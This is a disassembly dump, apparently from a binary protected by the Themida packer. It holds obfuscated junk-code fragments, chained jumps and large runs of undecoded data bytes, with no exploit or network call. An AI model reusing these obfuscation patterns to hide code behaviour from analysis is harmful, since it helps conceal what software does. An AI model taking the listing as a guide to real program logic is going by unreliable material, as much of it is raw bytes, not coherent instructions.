; ---------------------------------------------------------------------------

loc_54E4C6:				; CODE XREF: Themida_:005512F8j
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_54603E
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 0F992D2A5h, 15DEB31h, 0BD555BDFh, 4,	82E9EF01h, 52FFFFE3h
		dd 0F7E95A54h, 1FFFFF8h, 0BD555EF0h, 5141A50h, 0FF7F1BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54E501:				; CODE XREF: Themida_:00549031j
		sub	edi, 767D16A2h
		add	edi, 4B9C7178h
		push	esi
		mov	esi, 1
		jmp	loc_54CED9
; ---------------------------------------------------------------------------
		dd 0FF7B21E9h, 535152FFh, 0CB8004B3h, 2E3C0BCh,	5072EB80h
		dd 0C188D888h, 54515B58h, 0FFB0B8E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54E539:				; CODE XREF: Themida_:00549620j
		mov	[esp], edi
		push	ebp
		jmp	loc_54BAEE
; ---------------------------------------------------------------------------
		dw 0F201h
		dd 2414335Eh, 33241431h, 248B2414h, 24048B24h, 52E68956h
		dd 754787BAh, 4AB9512Fh, 0C15A0B44h, 0F74906E9h, 0F6A0E9D9h
		dd 8959FFFFh, 0FE015AD7h, 0B0E9575Fh, 89FFFFABh, 3AE92434h
		dd 6600003Eh, 0E924048Bh, 0FFFF7DD2h, 0AAE9C328h
		db 1, 2	dup(0)
; ---------------------------------------------------------------------------

loc_54E593:				; CODE XREF: Themida_:00548A28j
		push	ecx
		mov	ecx, 4
		jmp	loc_54D3E7
; ---------------------------------------------------------------------------
		dw 0C831h
		dd 103AE9h, 240C8700h, 24DFE9h,	5DE83100h, 1A868h, 2556E900h
		dd 4BA0000h, 1000000h, 5A042454h, 1EB6E958h, 8B660000h
		dd 4C682404h, 89000049h, 0E9542414h, 0FFFFC3BDh, 53526658h
		dd 0E3C03CB3h, 2EBC007h, 0FFDC28E9h, 2C8758FFh,	0C895C24h
		dd 55E18924h, 341E6852h, 815A1489h, 790603E2h, 0FEEA813Ch
		dd 0E9140903h, 0FFFFAE66h, 0E959CB88h, 0FFFFD629h, 0E92434FFh
		dd 0FFFFE160h
; ---------------------------------------------------------------------------

loc_54E620:				; CODE XREF: Themida_:005469D5j
		mov	ecx, edx
		jmp	loc_551FC2
; ---------------------------------------------------------------------------
		db 66h
		dd 5224048Bh, 7F2FE954h, 3C87FFFFh, 83E95C24h
		db 32h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54E63B:				; CODE XREF: Themida_:0054B77Bj
		add	edi, 4
		jmp	loc_54D900
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 343905B1h, 2434335Bh, 3B35E9h
		db 0
; ---------------------------------------------------------------------------

loc_54E655:				; CODE XREF: Themida_:0054DF31j
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		jmp	loc_54A17C
; ---------------------------------------------------------------------------
		db 51h,	0B5h, 0E0h
		dd 0A8E9EE28h, 81FFFF7Ch, 4C1h,	4E98100h, 87000000h, 895C240Ch
		dd 5D54242Ch, 629468h, 24048900h, 4B8h,	17C58100h, 10A4D59h
		dd 17ED81C5h, 8B0A4D59h, 0C4812404h, 4,	8102C583h, 4ECh
		dd 242C8900h, 42474FFh,	24048F5Dh, 0D224248Bh, 0E99C243Ch
		dd 0FFFF797Ah
; ---------------------------------------------------------------------------

loc_54E6C4:				; CODE XREF: Themida_:005467FCj
		shr	eax, 10h
		xor	eax, ecx
		push	5EBDh
		mov	[esp], eax
		jmp	loc_54C796
; ---------------------------------------------------------------------------
		dw 433h
		dd 24248B24h, 9C240420h, 0FF7959E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54E6E5:				; CODE XREF: Themida_:0054CF72j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	esi
		pop	dword ptr [edi+24h]
		mov	esi, [esp]
		add	esp, 4
		push	edi
		push	0FFFFFFFFh
		pop	edi
		sub	esi, edi
		pop	edi
		push	edx
		mov	edx, 24h
		add	edx, edi
		xor	[edx], esi
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_551DD2
; ---------------------------------------------------------------------------
		db 0B9h, 4, 0
		dd 3FE90000h, 8B000034h, 0C4812434h, 4,	282CE9h, 48B6600h
		dd 2C48324h, 0F4AEB80h,	8F66C0B6h, 0EBE98704h
		db 78h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E753:				; CODE XREF: Themida_:00546B23j
		mov	[esp], ecx
		jmp	loc_54BA23
; ---------------------------------------------------------------------------
		db 53h
		dd 0A87C3EBBh, 32C9BF33h, 0DF31783Eh, 0CDF7815Bh, 31F3BFE6h
		dd 29E95FF8h, 8FFFFA2h,	0D7F65AD7h, 305FC780h, 241C8BFEh
		dd 3004C483h, 24148BF0h, 6804C483h, 681h, 0E9241C89h, 0FFFFFD81h
		dd 0AF52E953h, 8952FFFFh, 4C281E2h, 83000000h, 148704C2h
		dd 0C3815C24h, 8C609EB6h, 2BE2C781h, 0DF011632h, 2BE2EF81h
		dd 815B1632h, 4C7h, 243C8700h, 0D9C7815Ch, 564BB536h, 5271EBEh
		dd 0E7F68105h, 813E6753h, 0DE5766F6h, 3EEC16Ch,	837CEE81h
		dd 0B850EFB0h, 8A41EB1h, 0F25ADC05h, 7CCCE919h,	0F59FFFFh
		dd 48FC0B6h, 7830E987h,	5F54FFFFh, 0BC6BB53h, 41E96880h
		dd 57FFFF83h, 304468h, 24248900h, 4BD5552h, 89000000h
		dd 5FEE9EAh, 48B0000h, 0AB15E924h, 0E95FFFFFh, 0FFFF8949h
		dd 514EC280h, 0CD80D7B5h, 0DEA0E9FAh, 0C481FFFFh, 4, 0C8BCE09h
		dd 4C48124h, 81000000h,	0E90345C6h, 3AC68100h, 0E9576261h
		dd 0FFFFA78Ch, 0B728E959h, 0C280FFFFh, 80CA0076h, 0E95976EAh
		dd 0FFFFFFBCh, 5C240487h, 0B2241489h, 0F7B75375h, 0E901C780h
		dd 1604h
; ---------------------------------------------------------------------------

loc_54E898:				; CODE XREF: Themida_:00547738j
		push	ebx
		jmp	loc_5500BA
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 0FFB028E9h, 1C77FFFFh, 419589Dh, 87E99C24h, 1FFFF77h
		dd 87B951F5h, 0E921E369h, 3203h, 3682BD55h
		db 0C6h, 3Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_550048
; ---------------------------------------------------------------------------

loc_54E8D2:				; CODE XREF: Themida_:00547B3Cj
		add	edi, esi
		pop	esi
		jmp	loc_547B96
; ---------------------------------------------------------------------------

loc_54E8DA:				; CODE XREF: Themida_:00551312j
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edi
		push	esp
		push	dword ptr [esp]
		jmp	loc_548713
; ---------------------------------------------------------------------------
		dd 0B9515657h, 394A73BBh, 2A22C181h, 0D1F7232Fh, 23A1C181h
		dd 9E96DBFh
		db 19h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54E90B:				; CODE XREF: Themida_:00549979j
		push	eax
		push	esp
		pop	eax
		push	1F52h
		mov	[esp], esi
		mov	esi, 4
		add	eax, 64D552BCh
		add	eax, esi
		push	ecx
		push	ebp
		push	1C52139Bh
		pop	ebp
		xor	ebp, 17857EDAh
		neg	ebp
		inc	ebp
		sub	ebp, 8F534004h
		mov	ecx, ebp
		pop	ebp
		jmp	loc_5516E7
; ---------------------------------------------------------------------------
		db 89h,	0E5h, 52h
		dd 0E87DB4BAh, 0C2814245h, 2C986157h, 608DCA81h, 9DE91E8Eh
		db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E95B:				; CODE XREF: Themida_:0054F9D4j
		mov	ecx, 5CB2ECFh
		shr	ecx, 2
		xor	ecx, 8BA418h
		sub	ebp, 0EFA3EB2h
		sub	ebp, ecx
		add	ebp, 0EFA3EB2h
		pop	ecx
		pop	ecx
		jmp	loc_54D58A
; ---------------------------------------------------------------------------
		dw 0D4F6h
		dd 5866E288h, 0FF966AE9h, 24B4B9FFh, 0E9811243h, 0F4ACD61Dh
		dd 0FFF723E9h, 24048BFFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_549AC8
; ---------------------------------------------------------------------------
		dw 0EAC1h
		dd 0F1E28102h, 8139661Eh, 1EAh,	0EEA8100h, 0E9000014h
		dd 0FFFF996Dh
; ---------------------------------------------------------------------------

loc_54E9C4:				; CODE XREF: Themida_:00548396j
		pop	ebp
		jmp	loc_54F0D5
; ---------------------------------------------------------------------------
		dw 815Eh
		dd 4C5h, 242C8700h, 0B6BFE95Ch,	5FE9FFFFh, 59FFFF76h, 0FF9EBFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54E9E5:				; CODE XREF: Themida_:0054E41Cj
		add	ebx, 0DCE2A51h
		add	ebx, esi
		push	edx
		mov	edx, 0DCE2A51h
		sub	ebx, edx
		pop	edx
		pop	esi
		add	ebx, 9097185Ch
		jmp	loc_549215
; ---------------------------------------------------------------------------
		dw 0EF01h
		dd 7293C781h, 0C78102D2h, 7AF7498Dh, 2C7835Dh, 8B243C87h
		dd 0BCE92424h
		db 91h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54EA1F:				; CODE XREF: Themida_:0054BF9Fj
		add	esi, 4
		add	esi, 4
		jmp	loc_54713A
; ---------------------------------------------------------------------------
		dd 51CF02Dh, 242C8B58h,	4C481h,	68500000h, 1DAE0E0Dh, 0F3D9E958h
		dd 0C683FFFFh, 0FFC68101h, 81FFFFFFh, 8EB263F6h, 7BE9A6h
		dd 0BF570000h, 195D7880h, 60F4BD55h, 0C58134B3h, 1B666F1Ch
		dd 0C581DDF7h, 785872C0h, 0ED814D4Dh, 283EA2ADh, 525DEF29h
		dd 2F53EB68h, 150CE96Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54EA8E:				; CODE XREF: Themida_:0054A965j
		sub	edi, ebx
		pop	ebx
		push	edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		jmp	loc_552309
; ---------------------------------------------------------------------------
		dw 14BBh
		dd 2919CA39h, 882CE9DAh, 558FFFFh, 4, 46857h, 3C8B0000h
		dd 5F545724h, 4C781h, 0C7810000h, 4, 5C243C87h,	3C8BF801h
		dd 4C48324h, 2D63E9h, 8BF50100h, 0C4832434h, 2C58304h
		dd 0FFBEF6E9h, 2C8151FFh, 3F8724h, 0C5815D49h, 49003F87h
		dd 5DE80159h, 0FF8031E9h, 5AD629FFh, 516AEE81h,	0D6010834h
		dd 516AC681h, 0C6810834h, 690B01FEh, 2434875Ah,	6624248Bh
		dd 0DFE9E1F7h, 5FFFFFDEh, 5558C501h, 1EDBF57h, 7C0165ACh
		dd 0E95F0424h, 0FFFFE313h, 8704C183h, 0FF5C240Ch, 9BE92434h
		dd 28FFFFF8h, 65C380C3h, 83D3C380h, 0C8904ECh, 74B35324h
		dd 805BDD88h, 0D5F612C5h, 0FFF794E9h, 242C89FFh, 7FE9E589h
		dd 0F7FFFFE4h, 0F7D987D9h, 81D987D3h, 0B76167E9h, 1B20E901h
		dd 0CD010000h, 0E92434FFh, 0FFFFED9Eh, 0BD5557ADh, 72722B94h
		dd 15DEF89h, 243C8BF8h,	4C481h,	0CFE90000h, 6800001Eh
		dd 622Dh, 0B4DE9h, 0B1C38100h, 0E92C931Eh, 1EF2h, 83241C8Bh
		dd 73E904C4h, 59FFFF74h, 4B850h, 0E9810000h, 64DF10DAh
		dd 2EE9C101h, 5CFFFFDCh, 0FFA1A7E9h, 0C8B66FFh,	10476824h
		dd 88E90000h
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54EBF3:				; CODE XREF: Themida_:005470A3j
		mov	[esp], cx
		jmp	loc_548D37
; ---------------------------------------------------------------------------
		dd 0E904C483h, 0FFFF7701h, 240C8B66h, 4EC81h, 0C890000h
		dd 50E18924h, 5C20D9B8h, 7CE5E913h, 0EB83FFFFh,	241C3304h
		dd 33241C31h, 248B241Ch, 24348924h, 0C681E689h,	4, 3304C683h
		dd 0FBE92434h, 51FFFFE1h, 0C3274FB9h, 0E9D9F761h, 0FFFFB436h
		dd 68BE9ACh, 0D8290000h, 243C8B5Bh, 4C481h, 0C1010000h
		dd 8324048Bh, 0EE904C4h
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54EC6F:				; CODE XREF: Themida_:00549EB1j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_5497D7
; ---------------------------------------------------------------------------

loc_54EC81:				; CODE XREF: Themida_:0054B977j
		mov	bh, 1Dh
		sub	bh, dh
		mov	edx, [esp]
		add	esp, 4
		add	al, bh
		pop	ebx
		add	al, bl
		jmp	loc_54891E
; ---------------------------------------------------------------------------
		dd 30FFC331h, 0FF739DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54ECA1:				; CODE XREF: Themida_:00551ED6j
		mov	[esp], ecx
		mov	ecx, 26B12B8Fh
		push	edi
		mov	edi, 5B3E3E26h
		add	ecx, edi
		pop	edi
		sub	ecx, 81EF69B1h
		add	edx, 18B243D7h
		add	edx, ecx
		sub	edx, 18B243D7h
		pop	ecx
		xchg	edx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_54CD38
; ---------------------------------------------------------------------------
		db 57h
		dd 0FFC9B5E9h, 5AD789FFh, 0FFE56EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54ECE9:				; CODE XREF: Themida_:00551F2Ej
		xchg	esi, ecx
		push	eax
		push	ecx
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, 4
		jmp	loc_54A68B
; ---------------------------------------------------------------------------

loc_54ED0C:				; CODE XREF: Themida_:00548D32j
		push	edi
		xor	dword ptr [esp], 548D4B47h
		pop	ebx
		xor	ebx, 548D4B47h
		mov	edi, [esp]
		add	esp, 4
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		push	12E3h
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_5507F6
; ---------------------------------------------------------------------------

loc_54ED36:				; CODE XREF: Themida_:00547A9Fj
		add	ecx, 4
		jmp	loc_550C8E
; ---------------------------------------------------------------------------

loc_54ED41:				; CODE XREF: Themida_:00547822j
		pop	ebp
		and	ebp, 1946113h
		jmp	loc_54A3AB
; ---------------------------------------------------------------------------
		db 0BDh, 0F9h, 15h
		dd 4CE906A0h
		db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54ED57:				; CODE XREF: Themida_:00547CC9j
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 2055525Fh
		jmp	loc_54C94A
; ---------------------------------------------------------------------------
		dd offset dword_5BDA88
		dw 66D3h
		dd 8124148Bh, 2C4h, 8257E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54ED7E:				; CODE XREF: Themida_:0054946Aj
		sub	edi, 4741289Bh
		pop	ebp
		push	700Ah
		mov	[esp], esi
		push	edx
		mov	edx, 551B0766h
		jmp	loc_54B5D4
; ---------------------------------------------------------------------------
		dd 3841C581h, 0E901059Eh, 240C875Dh, 25E4E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54EDAA:				; CODE XREF: Themida_:0054828Bj
		add	ebx, 71F328D9h
		sub	ebx, 485F0767h
		add	ebx, edi
		add	ebx, 485F0767h
		jmp	loc_54C13F
; ---------------------------------------------------------------------------

loc_54EDC3:				; CODE XREF: Themida_:0054B7DEj
		xchg	edi, [esp]
		pop	esp
		push	ebx
		jmp	loc_5486F5
; ---------------------------------------------------------------------------

loc_54EDCD:				; CODE XREF: Themida_:0054E298j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54603E
; ---------------------------------------------------------------------------
		dd 4EC81h, 2C890000h, 51F58924h, 0FFC195E9h, 75E95EFFh
		db 0B4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54EDFB:				; CODE XREF: Themida_:0054D819j
		add	edx, ecx
		pop	ecx
		xchg	edx, [esp]
		pop	esp
		add	ecx, 4
		push	esi
		mov	esi, 2
		jmp	loc_5512E8
; ---------------------------------------------------------------------------
		db 29h
		dd 0CB295DE9h, 7263E959h, 532CFFFFh, 0C7282B04h, 28982C58h
		dd 0E99804F8h, 0FFFF94FBh, 2454015Dh, 24148B04h, 0FF04C483h
		dd 815F2434h, 4C4h, 4C78100h, 68000000h, 7C77h,	0BE243489h
		dd 2, 96E9F729h
		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54EE5F:				; CODE XREF: Themida_:00546DF9j
		mov	[esp], esi
		push	ecx
		push	59B5C7Bh
		pop	ecx
		push	69BBh
		mov	[esp], eax
		push	78FB04D6h
		jmp	loc_5472AA
; ---------------------------------------------------------------------------
		db 81h
		dd 4C6h, 0B067E900h, 2D40FFFFh,	695568E7h, 12E9C201h, 81000020h
		dd 9A2150E1h, 0FCE98167h, 164101Fh, 0C68159CEh,	4, 5C243487h
		dd 8904EC83h, 5E542434h, 4C681h, 0C6810000h, 4,	0FFE928E9h
		dd 0F0005AFFh, 490B353h, 2CD828A0h, 0E5E95BA0h
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54EED7:				; CODE XREF: Themida_:0054A77Ej
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		add	dword ptr [esp], 2767240Ch
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_54DA2A
; ---------------------------------------------------------------------------
		db 81h
		dd 865C79E3h, 81D3F767h, 981442C3h, 74FFE90Eh, 8B66FFFFh
		dd 8950240Ch, 5C6868E0h, 2C890000h, 79A96824h, 2C8B2440h
		dd 0C5DCE924h, 5604FFFFh, 0B3E94804h, 28000021h, 86B151C3h
		dd 0FE85B252h, 0ADCA80CAh, 0E91FEA80h, 0FFFFCD83h, 241CF766h
		dd 70E8E99Ch, 0E7B7FFFFh, 285BFC88h, 0C18058E6h, 80F10065h
		dd 805A65E9h, 0E9C0B3F1h, 7E9C006h, 28AEF180h, 0B7E959C8h
		db 1Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54EF7B:				; CODE XREF: Themida_:0054B7D0j
		add	ebp, edi
		push	dword ptr [esp]
		jmp	loc_547D6E
; ---------------------------------------------------------------------------

loc_54EF85:				; CODE XREF: Themida_:0054C912j
		add	esp, 4
		jmp	loc_54FACD
; ---------------------------------------------------------------------------
		dd 0FF70A9E9h, 0E955B4FFh, 19C5h, 0E9242C8Bh, 0FFFFCE79h
		dd 5286F780h, 8850FE88h, 0E9E588F4h, 0FFFF9928h, 0E9243489h
		dd 0FFFF77C0h
; ---------------------------------------------------------------------------

loc_54EFBC:				; CODE XREF: Themida_:0054F222j
		push	dword ptr [esp]
		jmp	loc_54E3AB
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 54572404h, 81243C8Bh, 4C4h, 79E95100h, 81FFFF75h
		dd 4C4h, 2C28300h, 2474FF52h, 48F5A04h,	24248B24h, 0FFEDEBE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54EFF5:				; CODE XREF: Themida_:005502F1j
		add	esp, 4
		shr	eax, 0Bh
		xor	ecx, eax
		push	77ADh
		mov	[esp], ebp
		mov	ebp, ebx
		push	1F59h
		mov	[esp], ebp
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	ebp, [esp]
		jmp	loc_5462AB
; ---------------------------------------------------------------------------
		dd 648E955h, 0C8B0000h,	0CCBAE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F04E:				; CODE XREF: Themida_:00550EA0j
		push	dword ptr [esp]
		pop	eax
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	5DF1h
		mov	[esp], ecx
		mov	ecx, 4
		add	ebx, 17CA176Bh
		add	ebx, ecx
		sub	ebx, 17CA176Bh
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_550D5B
; ---------------------------------------------------------------------------
		db 80h,	0C3h, 12h
		dd 0E9C3005Ah, 12D3h, 81665B66h, 661586C1h, 66114C2Dh
		dd 566C829h, 0C8B114Ch,	4C48124h, 81000000h, 4ECh, 243C8900h
		dd 6EE5BF66h, 53DFF766h, 4CEDBB66h, 3155E9h
		db 0
; ---------------------------------------------------------------------------

loc_54F0D5:				; CODE XREF: Themida_:0054E9C5j
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_54F3B9
; ---------------------------------------------------------------------------
		dw 4BDh
		dd 1000000h, 0FF525DEAh, 8B042474h, 0E9562414h,	0FFFFCC4Ch
; ---------------------------------------------------------------------------

loc_54F0F4:				; CODE XREF: Themida_:00549C00j
		sub	esi, 6F8D6278h
		sub	esi, 14F24114h
		pop	edi
		add	eax, 77414042h
		add	eax, esi
		jmp	loc_54C720
; ---------------------------------------------------------------------------
		db 33h,	0Ch, 24h
		dd 6624248Bh, 9C2424D3h, 0FF6F21E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F11D:				; CODE XREF: Themida_:0054F7EEj
		push	eax
		jmp	loc_54F791
; ---------------------------------------------------------------------------
		db 1
aHC		db 'ê]h¶c',0
		dw 8900h
		dd 2BB241Ch, 0E9000000h, 241h, 0E9241C8Bh, 0FFFFF167h
		dd 5799CB81h, 0F3815C87h, 0FCEFDFBBh, 1C8BDA01h, 4C48124h
		dd 83000000h, 148704C2h, 4295C24h, 0DEE99C24h, 0F7FFFFB1h
		dd 2D582414h, 53CC1A68h, 5916CE25h, 8E9FE968h, 34FFFFFFh
		dd 0EC835824h, 240C8904h, 0C181E189h, 4, 6727B850h, 56517ECEh
		dd 0AF6D5CBEh, 0C3F68153h, 89389152h, 0F1815EF1h, 342F1434h
		dd 3BF0BD55h, 0E90154E7h, 0FFE9835Dh, 1FCB68h, 242C8900h
		dd 0D5E83BDh, 5DE90944h, 0CA5BC181h, 0C82109D0h, 1C0FE9h
		dd 24048700h, 0FFD0EFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F1D9:				; CODE XREF: Themida_:0055230Cj
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_54D76C
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 7CFA6824h, 4890000h,	933E924h, 0CF890000h, 0E69CE959h
		dd 0EE80FFFFh, 0C0D6F682h, 0EE8005EEh, 10CE804Bh, 5398C680h
		dd 0DD88F388h, 0AE045A5Bh, 78E9E800h
		db 70h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F21F:				; CODE XREF: Themida_:0054FE67j
		sub	[esp], ebx
		jmp	loc_54EFBC
; ---------------------------------------------------------------------------

loc_54F227:				; CODE XREF: Themida_:00548D3Bj
		push	cx
		pushf
		jmp	loc_54603E
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0BF573877h, 620C3A9Bh, 4247C31h, 2434FF5Fh, 4C48159h
		dd 81000000h, 4ECh, 7AACE900h, 0E068FFFFh, 89000045h, 9BB62414h
		dd 8904EC83h, 61E92414h, 89000004h, 0B47BE9E0h,	0C501FFFFh
		dd 0E924048Bh, 2DF1h, 0C15FFD21h, 4DE906E5h, 87FFFFAAh
		dd 895C240Ch, 24348BF7h, 0FFAD4FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F291:				; CODE XREF: Themida_:00551FFBj
		push	eax
		push	38737A06h
		pop	eax
		xor	eax, 489F596Dh
		or	eax, 16744417h
		shl	eax, 3
		sub	eax, 47853635h
		shr	eax, 2
		jmp	loc_548360
; ---------------------------------------------------------------------------
		dw 6853h
		dd 2B1003E0h, 0EFC3815Bh, 12BC10Dh, 0CF295BDFh,	11CFEF81h
		dd 0E95956D1h, 0FFFF9224h, 31243C33h, 3C33243Ch, 24248B24h
		dd 0FF6D5DE9h, 0B35352FFh, 0B65251F2h, 0E96EB1BCh, 0FFFFA3E1h
		dd 22BBBA66h, 0E9D32966h, 0FFFFE8E3h, 8AE9D388h
		db 1, 2	dup(0)
; ---------------------------------------------------------------------------

loc_54F303:				; CODE XREF: Themida_:005486F0j
		xor	ebp, 28872EB1h
		jmp	loc_54CF18
; ---------------------------------------------------------------------------
		dw 0DAF7h
		dd 0FFF01FE9h, 81E389FFh, 4C3h,	4C38300h, 5C241C87h, 580E9D05h
		dd 8CB9E93Ch, 0BF57FFFFh, 10972AAFh, 0FF6EF7E9h, 5FCE68FFh
		dd 1C890000h, 0E0895024h, 573BBB53h, 0E3C140F1h, 0C4CB8105h
		dd 0E9056C5Eh, 0FFFFDC6Dh
; ---------------------------------------------------------------------------

loc_54F358:				; CODE XREF: Themida_:00551710j
		pop	esi
		add	edi, 1
		sub	edi, 586E0463h
		add	edx, edi
		pop	edi
		add	edx, 9186C1Ah
		sub	edx, 3797335Bh
		sub	edx, eax
		push	edi
		jmp	loc_547E7D
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 6Eh
		dd 107AA1Fh, 0DA015BDAh, 1F6EEA81h, 875B07AAh, 665C2414h
		dd 9C240429h, 0FF6CA5E9h, 0D831ADFFh, 0DFF6E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F3A2:				; CODE XREF: Themida_:0054BD3Bj
		and	dl, 32h
		sub	dl, 61h
		sub	bl, dl
		jmp	loc_54AE84
; ---------------------------------------------------------------------------
		db 0D1h
		dd 3E7C1E7h, 0FF6E9CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F3B9:				; CODE XREF: Themida_:0054F0D9j
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_54A93E
; ---------------------------------------------------------------------------
		dd 5A2434FFh, 4EC8157h,	68000000h, 134h, 0E9242489h, 0FFFFD9DEh
		dd 6624248Bh, 0E924048Bh, 2D9Ch
; ---------------------------------------------------------------------------

loc_54F3E8:				; CODE XREF: Themida_:00548F9Fj
		push	157Ah
		mov	[esp], ebx
		mov	ebx, 6B31C64h
		shl	ebx, 1
		or	ebx, 5B007D20h
		xor	ebx, 1ABA02AFh
		jmp	loc_54F9A8
; ---------------------------------------------------------------------------
		dd 28E9D9F7h, 81FFFFEDh, 4C1h, 4C18100h, 0E9000000h, 7BFh
		dd 0A349E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F426:				; CODE XREF: Themida_:0054C13Aj
		mov	[esp], ebp
		mov	ebp, 4
		sub	ebx, 3EDA36C2h
		add	ebx, ebp
		add	ebx, 3EDA36C2h
		pop	ebp
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_54603E
; ---------------------------------------------------------------------------
		dw 0E956h
		dd 0FFFF7F7Bh
; ---------------------------------------------------------------------------

loc_54F44C:				; CODE XREF: Themida_:005487FCj
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	7265h
		jmp	loc_54B3C9
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0BD242C89h, 62E4C37Fh, 10ADBD55h, 0E9555129h, 0FFFFA572h
; ---------------------------------------------------------------------------

loc_54F470:				; CODE XREF: Themida_:0054E383j
		push	ebx
		push	4028233Ah
		pop	ebx
		add	edx, ebx
		pop	ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_550C2C
; ---------------------------------------------------------------------------
		db 59h
		dd 5C24048Fh, 0FF92D6E9h, 5BDC88FFh, 0FF78F1E9h, 0CB805AFFh
		dd 74EB80DAh, 0FF7153E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F4A1:				; CODE XREF: Themida_:00549193j
		mov	esi, esp
		push	eax
		mov	eax, 5A636BD8h
		shr	eax, 6
		sub	eax, 1698DABh
		add	esi, eax
		pop	eax
		sub	esi, 4
		jmp	loc_54FFBA
; ---------------------------------------------------------------------------
		db 81h
		dd 0FFFFFFEEh, 2CC681FFh, 4E57D334h, 69EE814Eh,	158573Dh
		dd 3C335EF7h, 8B25E924h, 0C483FFFFh, 4EC8104h, 89000000h
		dd 0C6BF243Ch, 0E94F5D3Bh, 0FFFF959Eh
; ---------------------------------------------------------------------------

loc_54F4F4:				; CODE XREF: Themida_:0054FA4Cj
		sub	esp, 4
		jmp	loc_547148
; ---------------------------------------------------------------------------
		db 1
		dd 65E981C1h, 0E92B8E5Eh, 0FFFF6B4Dh, 4EC81h, 14890000h
		dd 48EFBA24h, 0F74A6653h, 42D2F7D2h, 2790EA81h,	0F2815DF0h
		dd 863215Bh, 505AD001h,	42474FFh, 24048F58h, 2F71685Ch
		dd 34890000h, 815E5424h, 4C6h, 4C68100h, 87000000h, 3B5C2434h
		dd 0E3E99CC8h
		db 6Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F55B:				; CODE XREF: Themida_:005521CDj
		pop	ecx
		add	esp, 4
		push	167Bh
		mov	[esp], ebp
		pop	eax
		mov	ebp, [esp]
		push	6843h
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_546DF4
; ---------------------------------------------------------------------------
		dd 240CFF66h, 785E99Ch
